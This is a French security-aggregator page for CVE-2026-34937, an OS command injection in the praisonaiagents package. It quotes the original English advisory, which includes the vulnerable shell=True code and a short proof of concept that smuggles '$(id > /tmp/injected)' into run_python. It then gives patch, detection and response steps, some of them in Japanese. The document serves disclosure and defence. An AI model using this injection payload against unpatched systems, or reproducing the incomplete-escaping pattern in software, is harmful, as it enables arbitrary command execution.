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CVE-2026-34937 high CVSS 7.8

Injection de commande OS dans praisonaiagents (CVE-2026-34937)

Résumé

Injection de commande OS dans praisonaiagents (CVE-2026-34937). L'exploitation peut entraîner la prise de contrôle totale du système. Exploitable via praisonai. Atténuation : mise à jour vers 1.5.90 ou plus.

Description d'origine

La description telle que publiée par la source (souvent en anglais).

Summary

run_python() in praisonai constructs a shell command string by interpolating user-controlled code into python3 -c "" and passing it to subprocess.run(..., shell=True). The escaping logic only handles \ and ", leaving $() and backtick substitutions unescaped, allowing arbitrary OS command execution before Python is invoked.

Details

execute_command.py:290 (source) -> execute_command.py:297 (hop) -> execute_command.py:310 (sink)

# source -- user-controlled code argument
def run_python(code: str, cwd=None, timeout=60):

# hop -- incomplete escaping, $ and () not handled
    escaped_code = code.replace('\\', '\\\\').replace('"', '\\"')
    command = f'{python_cmd} -c "{escaped_code}"'

# sink -- shell=True expands $() before python3 runs
    return execute_command(command=command, cwd=cwd, timeout=timeout)
    # execute_command calls subprocess.run(command, shell=True, ...)

PoC

# tested on: praisonai==0.0.81 (source install, commit HEAD 2026-03-30)
# install: pip install -e src/praisonai
import sys
sys.path.insert(0, 'src/praisonai')
from praisonai.code.tools.execute_command import run_python

result = run_python(code='$(id > /tmp/injected)')
print(result)

# verify
import subprocess
print(subprocess.run(['cat', '/tmp/injected'], capture_output=True, text=True).stdout)
# expected output: uid=1000(narey) gid=1000(narey) groups=1000(narey)...

Impact

Any agent pipeline or API consumer that passes user or ta…

Source: NIST National Vulnerability Database NVD GitHub Advisory

Résumé généré automatiquement

Assemblé par SecPulse à partir des données sources (CVSS, CWE, versions affectées) à l'aide de modèles, sans IA. Vérifiez la description d'origine et les références ci-dessous.

Une vulnérabilité référencée CVE-2026-34937 a été découverte dans praisonaiagents.
Des attaquants peuvent cibler un point d'entrée spécifique comme praisonai à distance pour détourner le produit.
L'exploitation peut entraîner la prise de contrôle totale du système. Score CVSS : 7.8/10.
Action : mettez à jour praisonaiagents vers 1.5.90 ou supérieur.
En cas de doute, contactez votre service informatique ou cherchez « praisonaiagents CVE-2026-34937 » sur le site de l'éditeur.

CVE-2026-34937 (praisonaiagents) — CWE-78 / CVSS v3 7.8
Vecteur d'attaque : local / sans interaction utilisateur
Surface d'attaque : praisonai
Correctif : 1.5.90 — appliquer immédiatement
Plan : 1) Audit SBOM, 2) Mise à jour staging→prod, 3) Surveillance WAF/proxy sur les endpoints affectés, 4) Recherche d'IOC dans les logs.
Réfs : voir GHSA / avis éditeur / version corrigée liés sur cette page.

❓ Quel est le problème

Une injection de commande OS (CWE-78) affecte praisonaiagents. Les attaquants atteignent le code vulnérable via praisonai.

📍 Périmètre concerné

Consultez l'avis de l'éditeur pour les versions affectées de praisonaiagents. Surface d'attaque : praisonai.

🔥 Gravité

Gravité : Élevée (CVSS 7.8/10). L'exploitation peut entraîner la prise de contrôle totale du système.

🔧 Comment corriger

Mettre à jour vers 1.5.90.

🛡️ Contournement

En attendant le correctif : désactivez la fonctionnalité concernée, appliquez des règles WAF, ou restreignez l'accès par ACL réseau.

🔍 Détection

Recherchez dans les logs des requêtes correspondant aux IOC connus de cette CVE. Auditez les SBOM/dépendances.

Actions de réponse

Étapes concrètes et exemples de commandes que les équipes SOC/SRE doivent exécuter dans l'ordre

  1. 1
    Identify exposure identify
    grep -r 'praisonaiagents' . | grep -v node_modules

    リポジトリと本番環境の依存ファイル (package-lock.json / requirements.txt / go.sum / Gemfile.lock 等) で praisonaiagents を grep し、稼働しているサービス・バージョンを把握する。

  2. 2
    Apply patch patch
    Upgrade praisonaiagents to 1.5.90

    ステージング環境で 1.5.90 に上げて回帰テスト → 本番反映。回帰テストはアプリの主要ハッピーパスを含めること。

  3. 3
    Post-deployment verification verify
    Confirm patched version is live in production

    パッチ適用後、ステージングで PoC または同等の悪用パターンを再現して脆弱性が閉じたことを確認。本番ではアクセスログ・WAF でアラート再発が無いか継続監視。

Paquets affectés

PyPI praisonaiagents
[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.5.90"}]}]

Références

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